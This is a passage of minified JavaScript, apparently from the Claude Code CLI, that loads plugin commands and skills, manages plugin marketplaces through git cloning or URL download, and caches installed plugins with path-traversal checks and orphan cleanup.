TpA(A,K,q,Y,z,w,H={isSkillMode:!1}){try{let{frontmatter:J,content:O}=K,X=J.description??rQ(O,w?"Plugin skill":"Plugin command"),$=J["allowed-tools"],_=typeof $==="string"?IBA($,z):Array.isArray($)?$.map((C)=>typeof C==="string"?IBA(C,z):C):$,G=Qy(_),Z=J["argument-hint"],W=MmA(J.arguments),D=J.when_to_use,j=J.version,M=J.name,P=J.model==="inherit"?void 0:J.model?cz(J.model):void 0,f=J["disable-model-invocation"],N;if(H.isSkillMode)N=f===void 0?!1:P1(f);else N=P1(f);let T=H.isSkillMode?!0:!1;return{type:"prompt",name:A,description:X,hasUserSpecifiedDescription:!!J.description,allowedTools:G,argumentHint:Z,argNames:W.length>0?W:void 0,whenToUse:D,version:j,model:P,disableModelInvocation:N,contentLength:O.length,source:"plugin",loadedFrom:w||H.isSkillMode?"plugin":void 0,pluginInfo:{pluginManifest:Y,repository:q},isEnabled:()=>!0,isHidden:T,progressMessage:w||H.isSkillMode?"loading":"running",userFacingName(){return M||A},async getPromptForCommand(C,R){let x=H.isSkillMode?`Base directory for this skill: ${Oe(K.filePath)} ${O}`:O;return x=CWA(x,C,!0,W),x=IBA(x,z),x=x.replace(/\$\{CLAUDE_SESSION_ID\}/g,d1()),x=await Is(x,{...R,async getAppState(){let y=await R.getAppState();return{...y,toolPermissionContext:{...y.toolPermissionContext,alwaysAllowRules:{...y.toolPermissionContext.alwaysAllowRules,command:G}}}}},`/${A}`),[{type:"text",text:x}]}}}catch(J){return h(`Failed to create command from ${K.filePath}: ${J}`,{level:"error"}),null}}function mN1(){P9A.cache?.clear?.()}async function eOK(A,K,q,Y,z,w){let H=BA(),J=[];try{if(!H.existsSync(A))return[];let O=MPA(A,"SKILL.md");if(H.existsSync(O)){if(Uh(H,O,w))return J;try{let $=H.readFileSync(O,{encoding:"utf-8"}),{frontmatter:_,content:G}=J_($),Z=`${K}:${PPA(A)}`,W={filePath:O,baseDir:Oe(O),frontmatter:_,content:G},D=TpA(Z,W,q,Y,z,!0,{isSkillMode:!0});if(D)J.push(D)}catch($){h(`Failed to load skill from ${O}: ${$}`,{level:"error"})}return J}let X=H.readdirSync(A);for(let $ of X){if(!$.isDirectory()&&!$.isSymbolicLink())continue;let _=MPA(A,$.name),G=MPA(_,"SKILL.md");if(H.existsSync(G)){if(Uh(H,G,w))continue;try{let Z=H.readFileSync(G,{encoding:"utf-8"}),{frontmatter:W,content:D}=J_(Z),j=`${K}:${$.name}`,M={filePath:G,baseDir:Oe(G),frontmatter:W,content:D},P=TpA(j,M,q,Y,z,!0,{isSkillMode:!0});if(P)J.push(P)}catch(Z){h(`Failed to load skill from ${G}: ${Z}`,{level:"error"})}}}}catch(O){h(`Failed to load skills from directory ${A}: ${O}`,{level:"error"})}return J}function A0K(){du6.cache?.clear?.()}var P9A,du6;var vpA=k(()=>{p7();e6();s0();Z1();qDA();aQ();nQ();l6();M$1();K7();q6();PmA();P9A=z6(async()=>{let{enabled:A,errors:K}=await SY(),q=[];if(K.length>0)h(`Plugin loading errors: ${K.map((Y)=>_M(Y)).join(", ")}`);for(let Y of A){let z=new Set;if(Y.commandsPath)try{let w=await tOK(Y.commandsPath,Y.name,Y.source,Y.manifest,Y.path,{isSkillMode:!1},z);if(q.push(...w),w.length>0)h(`Loaded ${w.length} commands from plugin ${Y.name} default directory`)}catch(w){h(`Failed to load commands from plugin ${Y.name} default directory: ${w}`,{level:"error"})}if(Y.commandsPaths){h(`Plugin ${Y.name} has commandsPaths: ${Y.commandsPaths.join(", ")}`);for(let w of Y.commandsPaths)try{let H=BA(),J=H.statSync(w);if(h(`Checking commandPath ${w} - isDirectory: ${J.isDirectory()}, isFile: ${J.isFile()}`),J.isDirectory()){let O=await tOK(w,Y.name,Y.source,Y.manifest,Y.path,{isSkillMode:!1},z);if(q.push(...O),O.length>0)h(`Loaded ${O.length} commands from plugin ${Y.name} custom path: ${w}`);else h(`Warning: No commands found in plugin ${Y.name} custom directory: ${w}. Expected .md files or SKILL.md in subdirectories.`,{level:"warn"})}else if(J.isFile()&&w.endsWith(".md")){if(Uh(H,w,z))continue;let O=H.readFileSync(w,{encoding:"utf-8"}),{frontmatter:X,content:$}=J_(O),_,G;if(Y.commandsMetadata){for(let[j,M]of Object.entries(Y.commandsMetadata))if(M.source){let P=MPA(Y.path,M.source);if(w===P){_=`${Y.name}:${j}`,G=M;break}}}if(!_)_=`${Y.name}:${PPA(w).replace(/\.md$/,"")}`;let Z=G?{...X,...G.description&&{description:G.description},...G.argumentHint&&{"argument-hint":G.argumentHint},...G.model&&{model:G.model},...G.allowedTools&&{"allowed-tools":G.allowedTools.join(",")}}:X,W={filePath:w,baseDir:Oe(w),frontmatter:Z,content:$},D=TpA(_,W,Y.source,Y.manifest,Y.path,!1);if(D)q.push(D),h(`Loaded command from plugin ${Y.name} custom file: ${w}${G?" (with metadata override)":""}`)}}catch(H){h(`Failed to load commands from plugin ${Y.name} custom path ${w}: ${H}`,{level:"error"})}}if(Y.commandsMetadata){for(let[w,H]of Object.entries(Y.commandsMetadata))if(H.content&&!H.source)try{let{frontmatter:J,content:O}=J_(H.content),X={...J,...H.description&&{description:H.description},...H.argumentHint&&{"argument-hint":H.argumentHint},...H.model&&{model:H.model},...H.allowedTools&&{"allowed-tools":H.allowedTools.join(",")}},$=`${Y.name}:${w}`,_={filePath:`<inline:${$}>`,baseDir:Y.path,frontmatter:X,content:O},G=TpA($,_,Y.source,Y.manifest,Y.path,!1);if(G)q.push(G),h(`Loaded inline content command from plugin ${Y.name}: ${$}`)}catch(J){h(`Failed to load inline content command ${w} from plugin ${Y.name}: ${J}`,{level:"error"})}}}return h(`Total plugin commands loaded: ${q.length}`),q});du6=z6(async()=>{let{enabled:A,errors:K}=await SY(),q=[];if(K.length>0)h(`Plugin loading errors: ${K.map((Y)=>_M(Y)).join(", ")}`);h(`getPluginSkills: Processing ${A.length} enabled plugins`);for(let Y of A){let z=new Set;if(h(`Checking plugin ${Y.name}: skillsPath=${Y.skillsPath?"exists":"none"}, skillsPaths=${Y.skillsPaths?Y.skillsPaths.length:0} paths`),Y.skillsPath){h(`Attempting to load skills from plugin ${Y.name} default skillsPath: ${Y.skillsPath}`);try{let w=await eOK(Y.skillsPath,Y.name,Y.source,Y.manifest,Y.path,z);q.push(...w),h(`Loaded ${w.length} skills from plugin ${Y.name} default directory`)}catch(w){h(`Failed to load skills from plugin ${Y.name} default directory: ${w}`,{level:"error"})}}if(Y.skillsPaths){h(`Attempting to load skills from plugin ${Y.name} skillsPaths: ${Y.skillsPaths.join(", ")}`);for(let w of Y.skillsPaths)try{h(`Loading from skillPath: ${w} for plugin ${Y.name}`);let H=await eOK(w,Y.name,Y.source,Y.manifest,Y.path,z);q.push(...H),h(`Loaded ${H.length} skills from plugin ${Y.name} custom path: ${w}`)}catch(H){h(`Failed to load skills from plugin ${Y.name} custom path ${w}: ${H}`,{level:"error"})}}}return h(`Total plugin skills loaded: ${q.length}`),q})});import{existsSync as cu6,readdirSync as kI2,rmSync as q0K,statSync as CI2,unlinkSync as LI2}from"fs";import{join as gN1}from"path";function II2(){aS(),mN1(),F57(),ox6(),nu6()}function uw(){II2(),fm(),Mj7(),He()}function VPA(A){try{x8(iu6(A),`${Date.now()}`,{encoding:"utf-8"})}catch(K){h(`Failed to write .orphaned_at: ${A}: ${K}`)}}async function lu6(){try{let A=hI2();if(!A)return;let K=cr();if(!cu6(K))return;let q=Date.now();for(let Y of A)SI2(Y);for(let Y of FN1(K)){let z=gN1(K,Y);for(let w of FN1(z)){let H=gN1(z,w);for(let J of FN1(H)){let O=gN1(H,J);if(A.has(O))continue;bI2(O,q)}K0K(H)}K0K(z)}}catch(A){h(`Plugin cache cleanup failed: ${A}`)}}function iu6(A){return gN1(A,RI2)}function SI2(A){let K=iu6(A);if(cu6(K))try{LI2(K)}catch(q){h(`Failed to remove .orphaned_at: ${A}: ${q}`)}}function hI2(){try{let A=new Set,K=dr();for(let q of Object.values(K.plugins))for(let Y of q)A.add(Y.installPath);return A}catch(A){return h(`Failed to load installed plugins: ${A}`),null}}function bI2(A,K){let q=iu6(A);if(!cu6(q)){VPA(A);return}try{let Y=CI2(q).mtimeMs;if(K-Y>yI2)q0K(A,{recursive:!0,force:!0})}catch(Y){h(`Failed to delete orphaned version: ${A}: ${Y}`)}}function K0K(A){if(FN1(A).length===0)try{q0K(A,{recursive:!0,force:!0})}catch(K){h(`Failed to remove empty dir: ${A}: ${K}`)}}function FN1(A){try{return kI2(A,{withFileTypes:!0}).filter((K)=>K.isDirectory()).map((K)=>K.name)}catch{return[]}}var RI2=".orphaned_at",yI2=604800000;var TL=k(()=>{b1();s0();vpA();bxA();wpA();QN1();X0();mZ();Z1();zmA();sD()});import{join as ZP,basename as Y0K,dirname as z0K}from"path";function dN1(){return ZP(IT(),"known_marketplaces.json")}function w0K(){return ZP(IT(),"marketplaces")}function NPA(){$M.cache?.clear?.()}async function U3(){let A=BA(),K=dN1();if(!A.existsSync(K))return{};try{let q=A.readFileSync(K,{encoding:"utf-8"}),Y=G6(q),z=$Y6.safeParse(Y);if(!z.success){let w=`Marketplace configuration file is corrupted: ${z.error.issues.map((H)=>`${H.path.join(".")}: ${H.message}`).join(", ")}`;throw h(w,{level:"error"}),new KV(w,K,Y)}return z.data}catch(q){if(q instanceof KV)throw q;let Y=`Failed to load marketplace configuration: ${q instanceof Error?q.message:String(q)}`;throw h(Y,{level:"error"}),Error(Y)}}async function TPA(A){let K=$Y6.safeParse(A),q=dN1();if(!K.success)throw new KV(`Invalid marketplace config: ${K.error.message}`,q,A);let Y=BA(),z=ZP(q,"..");Y.mkdirSync(z),x8(q,UA(K.data,null,2),{encoding:"utf-8",flush:!0})}async function xI2(A,K,q){let Y={...process.env,...H0K},z=q?.disableCredentialHelper?["-c","credential.helper="]:[];if(K){let H=await A7("git",[...z,"fetch","origin",K],{cwd:A,timeout:30000,stdin:"ignore",env:Y});if(H.code!==0)return UN1(H);let J=await A7("git",[...z,"checkout",K],{cwd:A,timeout:30000,stdin:"ignore",env:Y});if(J.code!==0)return UN1(J);let O=await A7("git",[...z,"pull","origin","HEAD"],{cwd:A,timeout:30000,stdin:"ignore",env:Y});return UN1(O)}let w=await A7("git",[...z,"pull","origin","HEAD"],{cwd:A,timeout:30000,stdin:"ignore",env:Y});return UN1(w)}function UN1(A){if(A.code!==0&&A.stderr){if(A.stderr.includes("Permission denied (publickey)")||A.stderr.includes("Could not read from remote repository"))return{...A,stderr:`SSH authentication failed while updating marketplace. Please ensure your SSH keys are configured. Original error: ${A.stderr}`};if(A.stderr.includes("timed out")||A.stderr.includes("Could not resolve host"))return{...A,stderr:`Network error while updating marketplace. Please check your internet connection. Original error: ${A.stderr}`}}return A}async function uI2(){try{let A=await R6("ssh",["-T","-o","BatchMode=yes","-o","ConnectTimeout=2","-o","StrictHostKeyChecking=accept-new","git@github.com"],{timeout:3000});return A.code===1&&(A.stderr?.includes("successfully authenticated")||A.stdout?.includes("successfully authenticated"))}catch(A){return h(`SSH configuration check failed: ${A instanceof Error?A.message:String(A)}`,{level:"warn"}),!1}}function BI2(A){return A.includes("Authentication failed")||A.includes("could not read Username")||A.includes("terminal prompts disabled")||A.includes("403")||A.includes("401")}async function mI2(A,K,q){let Y=["-c","core.sshCommand=ssh -o BatchMode=yes -o StrictHostKeyChecking=accept-new","clone","--depth","1","--recurse-submodules","--shallow-submodules"];if(q)Y.push("--branch",q);Y.push(A,K);let z=await R6("git",Y,{timeout:30000,stdin:"ignore",env:{...process.env,...H0K}});if(z.code===0)return z;if(z.stderr){if(z.stderr.includes("Permission denied (publickey)")||z.stderr.includes("Could not read from remote repository"))return{...z,stderr:`SSH authentication failed. Please ensure your SSH keys are configured for GitHub, or use an HTTPS URL instead. Original error: ${z.stderr}`};if(BI2(z.stderr))return{...z,stderr:`HTTPS authentication failed. Please ensure your credential helper is configured (e.g., gh auth login). Original error: ${z.stderr}`};if(z.stderr.includes("timed out")||z.stderr.includes("timeout")||z.stderr.includes("Could not resolve host"))return{...z,stderr:`Network error or timeout while cloning repository. Please check your internet connection and try again. Original error: ${z.stderr}`}}return z}function vL(A,K){if(!A)return;try{A(K)}catch(q){h(`Progress callback error: ${q instanceof Error?q.message:String(q)}`,{level:"warn"})}}async function fPA(A,K,q,Y,z){let w=BA();if(w.existsSync(K)){if(!w.existsSync(ZP(K,".git")))throw Error(`Cache directory exists at ${K} but is not a git repository. Please remove it manually and try again.`);vL(Y,"Updating existing marketplace cache…");let O=await xI2(K,q,{disableCredentialHelper:z?.disableCredentialHelper});if(O.code!==0){h(`Failed to update marketplace cache: ${O.stderr}`,{level:"error"}),vL(Y,"Update failed, cleaning up and re-cloning…");try{w.rmSync(K,{recursive:!0,force:!0})}catch(X){let $=X instanceof Error?X.message:String(X);throw Error(`Failed to clean up existing marketplace directory. Please manually delete the directory at ${K} and try again. Technical details: ${$}`)}}else return}let H=q?` (ref: ${q})`:"";vL(Y,`Cloning repository: ${A}${H}`);let J=await mI2(A,K,q);if(J.code!==0)throw Error(`Failed to clone marketplace repository: ${J.stderr}`);vL(Y,"Clone complete, validating marketplace…")}function gI2(A){return Object.fromEntries(Object.entries(A).map(([K])=>[K,"***REDACTED***"]))}async function J0K(A,K,q,Y){let z=BA();if(vL(Y,`Downloading marketplace from ${A}`),h(`Downloading marketplace from URL: ${A}`),q&&Object.keys(q).length>0)h(`Using custom headers: ${UA(gI2(q))}`);let w={...q,"User-Agent":"Claude-Code-Plugin-Manager"},H;try{H=await A8.get(A,{timeout:1e4,headers:w})}catch(X){if(A8.isAxiosError(X)){if(X.code==="ECONNREFUSED"||X.code==="ENOTFOUND")throw Error(`Could not connect to ${A}. Please check your internet connection and verify the URL is correct. Technical details: ${X.message}`);if(X.code==="ETIMEDOUT")throw Error(`Request timed out while downloading marketplace from ${A}. The server may be slow or unreachable. Technical details: ${X.message}`);if(X.response)throw Error(`HTTP ${X.response.status} error while downloading marketplace from ${A}. The marketplace file may not exist at this URL. Technical details: ${X.message}`)}throw Error(`Failed to download marketplace from ${A}: ${X instanceof Error?X.message:String(X)}`)}vL(Y,"Validating marketplace data");let J=V$A.safeParse(H.data);if(!J.success)throw new KV(`Invalid marketplace schema from URL: ${J.error.issues.map((X)=>`${X.path.join(".")}: ${X.message}`).join(", ")}`,A,H.data);vL(Y,"Saving marketplace to cache");let O=ZP(K,"..");z.mkdirSync(O),x8(K,UA(J.data,null,2),{encoding:"utf-8",flush:!0})}function FI2(A){return A.source==="github"?A.repo.replace("/","-"):A.source==="npm"?A.package.replace("@","").replace("/","-"):A.source==="file"?Y0K(A.path).replace(".json",""):A.source==="directory"?Y0K(A.path):"temp_"+Date.now()}function O0K(A,K){let Y=BA().readFileSync(A,{encoding:"utf-8"}),z=G6(Y),w=K.safeParse(z);if(!w.success)throw new KV(`Invalid schema: ${w.error?.issues.map((H)=>`${H.path.join(".")}: ${H.message}`).join(", ")}`,A,z);return w.data}async function ru6(A,K){let q=BA(),Y=w0K();q.mkdirSync(Y);let z,w,H=!1,J=FI2(A);try{switch(A.source){case"url":{z=ZP(Y,`${J}.json`),H=!0,await J0K(A.url,z,A.headers,K),w=z;break}case"github":{let _=`git@github.com:${A.repo}.git`,G=`https://github.com/${A.repo}.git`;z=ZP(Y,J),H=!0;let Z=null;if(await uI2()){vL(K,`Cloning via SSH: ${_}`);try{await fPA(_,z,A.ref,K)}catch(D){if(Z=D instanceof Error?D:Error(String(D)),KA(Z),vL(K,`SSH clone failed, retrying with HTTPS: ${G}`),h(`SSH clone failed for ${A.repo} despite SSH being configured, falling back to HTTPS`,{level:"info"}),q.existsSync(z))q.rmSync(z,{recursive:!0,force:!0});try{await fPA(G,z,A.ref,K),Z=null}catch(j){Z=j instanceof Error?j:Error(String(j)),KA(Z)}}}else{vL(K,`SSH not configured, cloning via HTTPS: ${G}`),h(`SSH not configured for GitHub, using HTTPS for ${A.repo}`,{level:"info"});try{await fPA(G,z,A.ref,K)}catch(D){if(Z=D instanceof Error?D:Error(String(D)),KA(Z),vL(K,`HTTPS clone failed, retrying with SSH: ${_}`),h(`HTTPS clone failed for ${A.repo} (${Z.message}), falling back to SSH`,{level:"info"}),q.existsSync(z))q.rmSync(z,{recursive:!0,force:!0});try{await fPA(_,z,A.ref,K),Z=null}catch(j){Z=j instanceof Error?j:Error(String(j)),KA(Z)}}}if(Z)throw Z;w=ZP(z,A.path||".claude-plugin/marketplace.json");break}case"git":{z=ZP(Y,J),H=!0,await fPA(A.url,z,A.ref,K),w=ZP(z,A.path||".claude-plugin/marketplace.json");break}case"npm":throw Error("NPM marketplace sources not yet implemented");case"file":{w=A.path,z=z0K(z0K(A.path)),H=!1;break}case"directory":{w=ZP(A.path,".claude-plugin","marketplace.json"),z=A.path,H=!1;break}default:throw Error("Unsupported marketplace source type")}if(!q.existsSync(w))throw Error(`Marketplace file not found at ${w}`);let O=O0K(w,V$A),X=ZP(Y,O.name),$=A.source==="file"||A.source==="directory";if(z!==X&&!$)try{if(q.existsSync(X)){try{K?.("Cleaning up old marketplace cache…")}catch(_){h(`Progress callback error: ${_ instanceof Error?_.message:String(_)}`,{level:"warn"})}q.rmSync(X,{recursive:!0,force:!0})}q.renameSync(z,X),z=X,H=!1}catch(_){let G=_ instanceof Error?_.message:String(_);throw Error(`Failed to finalize marketplace cache. Please manually delete the directory at ${X} if it exists and try again. Technical details: ${G}`)}return{marketplace:O,cachePath:z}}catch(O){if(H&&z&&A.source!=="file"&&A.source!=="directory")try{if(q.existsSync(z))q.rmSync(z,{recursive:!0,force:!0})}catch(X){h(`Warning: Failed to clean up temporary marketplace cache at ${z}: ${X instanceof Error?X.message:String(X)}`,{level:"warn"})}throw O}}async function Lv(A,K){if(!_7A(A)){if(GSA(A))throw Error(`Marketplace source '${T$A(A)}' is blocked by enterprise policy.`);let H=$7A()||[],J=vh4(),O=GY6(A),X=`Marketplace source '${T$A(A)}'`;if(O)X+=` (${O})`;if(X+=" is blocked by enterprise policy.",H.length>0)X+=` Allowed sources: ${H.map(($)=>T$A($)).join(", ")}`;else X+=" No external marketplaces are allowed.";if(A.source==="github"&&J.length>0)X+=` Tip: The shorthand "${A.repo}" assumes github.com. For internal GitHub Enterprise, use the full URL: git@your-github-host.com:${A.repo}.git`;throw Error(X)}let{marketplace:q,cachePath:Y}=await ru6(A,K),z=Mh4(q.name,A);if(z)throw Error(z);let w=await U3();if(w[q.name])throw Error(`Marketplace '${q.name}' is already installed. Please remove it first using '/plugin marketplace remove ${q.name}' if you want to re-install it.`);return w[q.name]={source:A,installLocation:Y,lastUpdated:new Date().toISOString()},await TPA(w),h(`Added marketplace source: ${q.name}`),{name:q.name}}async function cN1(A){let K=await U3();if(!K[A])throw Error(`Marketplace '${A}' not found`);delete K[A],await TPA(K);let q=BA(),Y=w0K(),z=ZP(Y,A);if(q.existsSync(z))q.rmSync(z,{recursive:!0,force:!0});let w=ZP(Y,`${A}.json`);if(q.existsSync(w))q.rmSync(w,{force:!0});let H=["userSettings","projectSettings","localSettings"];for(let O of H){let X=E4(O);if(!X)continue;let $=!1,_={};if(X.extraKnownMarketplaces?.[A]){let G={...X.extraKnownMarketplaces};G[A]=void 0,_.extraKnownMarketplaces=G,$=!0}if(X.enabledPlugins){let G=`@${A}`,Z={...X.enabledPlugins},W=!1;for(let D in Z)if(D.endsWith(G))Z[D]=void 0,W=!0;if(W)_.enabledPlugins=Z,$=!0}if($){let G=v4(O,_);if(G.error)KA(G.error),h(`Failed to clean up marketplace '${A}' from ${O} settings: ${G.error.message}`);else h(`Cleaned up marketplace '${A}' from ${O} settings`)}}let J=Sh4(A);for(let O of J)VPA(O);h(`Removed marketplace source: ${A}`)}function pN1(A){let K=BA();try{let q=A;if(K.existsSync(A)&&K.statSync(A).isDirectory()){let Y=ZP(A,".claude-plugin","marketplace.json");if(K.existsSync(Y))q=Y;else throw Error(`Invalid cached directory at ${A}: missing .claude-plugin/marketplace.json`)}if(!K.existsSync(q))throw Error(`Marketplace file not found at ${q}`);return O0K(q,V$A)}catch(q){if(q instanceof KV)throw q;throw q}}function QI2(A){let K=BA(),q=dN1();if(!K.existsSync(q))return null;try{let Y=K.readFileSync(q,{encoding:"utf-8"}),w=G6(Y)[A];if(!w)return null;return pN1(w.installLocation)}catch{return null}}function ou6(A){let K=A.split("@");if(K.length!==2)return null;let q=K[0],Y=K[1],z=BA(),w=dN1();if(!z.existsSync(w))return null;try{let H=z.readFileSync(w,{encoding:"utf-8"}),O=G6(H)[Y];if(!O)return null;let X=QI2(Y);if(!X)return null;let $=X.plugins.find((_)=>_.name===q);if(!$)return null;return{entry:$,marketplaceInstallLocation:O.installLocation}}catch{return null}}async function ZG(A){let K=ou6(A);if(K)return K;let q=A.split("@");if(q.length!==2)return null;let Y=q[0],z=q[1];try{let H=(await U3())[z];if(!H)return null;let O=(await $M(z)).plugins.find((X)=>X.name===Y);if(!O)return null;return{entry:O,marketplaceInstallLocation:H.installLocation}}catch(w){return h(`Could not find plugin ${A}: ${w instanceof Error?w.message:String(w)}`,{level:"debug"}),null}}async function X0K(){let A=await U3();for(let[K,q]of Object.entries(A))try{await ru6(q.source),A[K].lastUpdated=new Date().toISOString()}catch(Y){h(`Failed to refresh marketplace ${K}: ${Y instanceof Error?Y.message:String(Y)}`,{level:"error"})}await TPA(A)}async function Xe(A,K,q){let Y=await U3(),z=Y[A];if(!z)throw Error(`Marketplace '${A}' not found. Available marketplaces: ${Object.keys(Y).join(", ")}`);$M.cache?.delete?.(A);try{let{installLocation:w,source:H}=z;if(H.source==="github"||H.source==="git"){let J=H.source==="github"?P1(process.env.CLAUDE_CODE_REMOTE)?`https://github.com/${H.repo}.git`:`git@github.com:${H.repo}.git`:H.url;await fPA(J,w,H.ref,K,q);try{pN1(w)}catch{let O=H.source==="github"?H.repo:H.url;throw Error(`The marketplace.json file is no longer present in this repository. ${A==="claude-code-plugins"?`We've deprecated "claude-code-plugins" in favor of "claude-plugins-official".`:"This marketplace may have been deprecated or moved to a new location."} Source: ${O} You can remove this marketplace with: claude plugin marketplace remove "${A}"`)}}else if(H.source==="url")await J0K(H.url,w,H.headers,K);else if(H.source==="file"||H.source==="directory")vL(K,"Validating local marketplace"),pN1(w);else throw Error("Unsupported marketplace source type for refresh");Y[A].lastUpdated=new Date().toISOString(),await TPA(Y),h(`Successfully refreshed marketplace: ${A}`)}catch(w){let H=w instanceof Error?w.message:String(w);throw h(`Failed to refresh marketplace ${A}: ${H}`,{level:"error"}),Error(`Failed to refresh marketplace '${A}': ${H}`)}}async function $0K(A,K){let q=await U3(),Y=q[A];if(!Y)throw Error(`Marketplace '${A}' not found. Available marketplaces: ${Object.keys(q).join(", ")}`);if(Y.autoUpdate===K)return;q[A]={...Y,autoUpdate:K},await TPA(q),h(`Set autoUpdate=${K} for marketplace: ${A}`)}var H0K,$M;var TJ=k(()=>{n3();p7();l6();$SA();e6();b1();Z1();C1();CK();iw();I8();ID();pr();b1();mZ();TL();H0K={GIT_TERMINAL_PROMPT:"0",GIT_ASKPASS:""};$M=z6(async(A)=>{let K=await U3(),q=K[A];if(!q)throw Error(`Marketplace '${A}' not found in configuration. Available marketplaces: ${Object.keys(K).join(", ")}`);try{return pN1(q.installLocation)}catch(z){h(`Cache corrupted or missing for marketplace ${A}, re-fetching from source: ${z instanceof Error?z.message:String(z)}`,{level:"warn"})}let{marketplace:Y}=await ru6(q.source);return K[A].lastUpdated=new Date().toISOString(),await TPA(K),Y})});async function id(A,K,q,Y,z){if(q?.version)return h(`Using manifest version for ${A}: ${q.version}`),q.version;if(z)return h(`Using provided version for ${A}: ${z}`),z;if(Y){let w=await UI2(Y);if(w){let H=w.substring(0,12);return h(`Using git SHA for ${A}: ${H}`),H}}return h(`No version found for ${A}, using 'unknown'`),"unknown"}async function UI2(A){try{let K=await A7("git",["rev-parse","HEAD"],{cwd:A});if(K.code===0&&K.stdout)return K.stdout.trim();return null}catch{return null}}var lN1=k(()=>{CK();Z1()});import{rename as au6}from"fs/promises";import{existsSync as pI2,mkdirSync as _0K,rmSync as dI2}from"fs";import{dirname as G0K,sep as tu6,join as cI2,resolve as su6}from"path";import{tmpdir as lI2}from"os";function Z0K(){return new Date().toISOString()}function eu6(A,K){let q=su6(A,K),Y=su6(A)+tu6;if(!q.startsWith(Y)&&q!==su6(A))throw Error(`Path traversal detected: "${K}" would escape the base directory`);return q}async function Rv(A,K,q="user",Y,z){let w=typeof K.source==="string"&&z?z:K.source,H=await V9A(w,{manifest:K}),J=z||H.path,O=await MY1(J),X=Z0K(),$=await id(A,K.source,H.manifest,J,K.version),_=rx(A,$),G=H.path;if(H.path!==_){if(_0K(G0K(_),{recursive:!0}),pI2(_))dI2(_,{recursive:!0,force:!0});let Z=H.path.endsWith(tu6)?H.path:H.path+tu6;if(_.startsWith(Z)){let D=cI2(lI2(),`claude-plugin-temp-${Date.now()}`);await au6(H.path,D),_0K(G0K(_),{recursive:!0}),await au6(D,_)}else await au6(H.path,_);G=_}return VY6(A,{version:$,installedAt:X,lastUpdated:X,installPath:G,gitCommitSha:O},q,Y),G}function W0K(A,K="user",q){let Y=Z0K();VY6(A.pluginId,{version:A.version||"unknown",installedAt:Y,lastUpdated:Y,installPath:A.installPath},K,q)}async function EpA({pluginId:A,entry:K,marketplaceName:q,scope:Y="user"}){try{let z=ix(Y),w=Y!=="user"?x1():void 0,H,{source:J}=K;if(cx(J)){let $=await ZG(A);if($)H=eu6($.marketplaceInstallLocation,J)}await Rv(A,K,Y,w,H);let X={...E4(z)?.enabledPlugins,[A]:!0};return v4(z,{enabledPlugins:X}),n("tengu_plugin_installed",{plugin_id:A,marketplace_name:q}),uw(),{success:!0,message:`✓ Installed ${K.name}. Restart Claude Code to load new plugins.`}}catch(z){let w=z instanceof Error?z.message:String(z);return KA(z instanceof Error?z:Error(`Failed to install plugin: ${String(z)}`)),{success:!1,error:`Failed to install: ${w}`}}}var nd=k(()=>{ID();mZ();s0();TJ();G7A();I8();y4();TL();l1();C1();lN1()});import{join as H9,resolve as iI2,basename as nI2,relative as D0K,dirname as V0K,sep as j0K}from"path";function cr(){return H9(IT(),"cache")}function rx(A,K){let q=cr(),[Y,z]=A.split("@"),w=(z||"unknown").replace(/[^a-zA-Z0-9\-_]/g,"-"),H=(Y||A).replace(/[^a-zA-Z0-9\-_]/g,"-"),J=K.replace(/[^a-zA-Z0-9\-_.]/g,"-");return H9(q,w,H,J)}function kpA(A,K){let q=BA();if(!q.existsSync(K))q.mkdirSync(K);let Y=q.readdirSync(A);for(let z of Y){let w=H9(A,z.name),H=H9(K,z.name);if(z.isDirectory())kpA(w,H);else if(z.isFile())q.copyFileSync(w,H);else if(z.isSymbolicLink()){let J=q.readlinkSync(w),O;try{O=q.realpathSync(w)}catch{q.symlinkSync(J,H);continue}let X;try{X=q.realpathSync(A)}catch{X=A}let $=X.endsWith(j0K)?X:X+j0K;if(O.startsWith($)||O===X){let _=D0K(X,O),G=H9(K,_),Z=D0K(V0K(H),G);q.symlinkSync(Z,H)}else q.symlinkSync(O,H)}}}async function iN1(A,K,q,Y,z){let w=BA(),H=rx(K,q);if(w.existsSync(H)&&!w.isDirEmptySync(H))return h(`Plugin ${K} version ${q} already cached at ${H}`),H;if(w.existsSync(H)&&w.isDirEmptySync(H))h(`Removing empty cache directory for ${K} at ${H}`),w.rmdirSync(H);if(w.mkdirSync(V0K(H)),Y&&typeof Y.source==="string"&&z){let O=eu6(z,Y.source);if(w.existsSync(O))h(`Copying source directory ${Y.source} for plugin ${K}`),kpA(O,H);else throw Error(`Plugin source directory not found: ${O} (from entry.source: ${Y.source})`)}else h(`Copying plugin ${K} to versioned cache (fallback to full copy)`),kpA(A,H);let J=H9(H,".git");if(w.existsSync(J))w.rmSync(J,{recursive:!0,force:!0});if(w.isDirEmptySync(H))throw Error(`Failed to copy plugin ${K} to versioned cache: destination is empty after copy`);return h(`Successfully cached plugin ${K} at ${H}`),H}function rI2(A){try{let K=new URL(A);if(!["https:","http:","file:"].includes(K.protocol)){if(!/^git@[a-zA-Z0-9.-]+:/.test(A))throw Error(`Invalid git URL protocol: ${K.protocol}. Only HTTPS, HTTP, file:// and SSH (git@) URLs are supported.`)}return A}catch{if(/^git@[a-zA-Z0-9.-]+:/.test(A))return A;throw Error(`Invalid git URL: ${A}`)}}async function oI2(A,K){let q=BA(),Y=H9(IT(),"npm-cache");q.mkdirSync(Y);let z=H9(Y,"node_modules",A);if(!q.existsSync(z)){h(`Installing npm package ${A} to cache`);let H=await R6("npm",["install",A,"--prefix",Y],{useCwd:!1});if(H.code!==0)throw Error(`Failed to install npm package: ${H.stderr}`)}kpA(z,K),h(`Copied npm package ${A} from cache to ${K}`)}async function aI2(A,K,q,Y){let z=["clone","--depth","1","--recurse-submodules","--shallow-submodules"];if(q)z.push("--branch",q);if(Y)z.push("--no-checkout");z.push(A,K);let w=await R6("git",z);if(w.code!==0)throw Error(`Failed to clone repository: ${w.stderr}`);if(Y){if((await A7("git",["fetch","--depth","1","origin",Y],{cwd:K})).code!==0){h(`Shallow fetch of SHA ${Y} failed, falling back to unshallow fetch`);let O=await A7("git",["fetch","--unshallow"],{cwd:K});if(O.code!==0)throw Error(`Failed to fetch commit ${Y}: ${O.stderr}`)}let J=await A7("git",["checkout",Y],{cwd:K});if(J.code!==0)throw Error(`Failed to checkout commit ${Y}: ${J.stderr}`)}}async function f0K(A,K,q,Y){let z=rI2(A);await aI2(z,K,q,Y);let w=q?` (ref: ${q})`:"";h(`Cloned repository from ${z}${w} to ${K}`)}async function sI2(A,K,q,Y){if(!/^[a-zA-Z0-9-_.]+\/[a-zA-Z0-9-_.]+$/.test(A))throw Error(`Invalid GitHub repository format: 